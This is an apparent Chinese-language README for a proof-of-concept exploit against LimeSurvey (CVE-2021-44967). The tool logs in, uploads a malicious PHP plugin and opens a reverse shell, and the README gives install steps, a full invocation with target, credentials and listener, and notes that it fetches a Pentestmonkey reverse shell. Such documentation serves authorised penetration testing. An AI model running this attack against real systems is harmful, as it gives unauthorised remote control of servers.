
CVE-2021-44967 的概念验证利用,通过恶意插件上传在 LimeSurvey 5.2.4 中实现远程代码执行,并具备反向 shell 功能。
CVE-2021-44967 的概念验证。该脚本会登录 LimeSurvey,上传并激活一个 PHP 插件,然后触发反向 shell。
仅可对你拥有或已获授权测试的系统使用此工具。
beautifulsoup4、netifaces 和 requestsPATH 中可用的 nc创建隔离环境并安装 Python 包:
python3 -m venv .venv
source .venv/bin/activate
python -m pip install beautifulsoup4 netifaces requests
python3 limesurvey_rce.py \
--url https://target.example \
--username admin \
--password 'password' \
--listen-ip tun0 \
--listen-port 4444
--listen-ip 接受 IPv4 地址或接口名称,默认为 tun0。如果省略 --file,脚本会下载 Pentestmonkey PHP 反向 shell,并使用监听地址对其进行配置。传入 --file payload.php 可改为提供本地 PHP 载荷。
运行 python3 limesurvey_rce.py --help 可查看所有选项,包括代理和自定义 User-Agent 设置。
该漏洞利用已针对 LimeSurvey Community Edition 6.6.4 进行测试。CVE 记录中描述的问题存在于 LimeSurvey 5.2.4。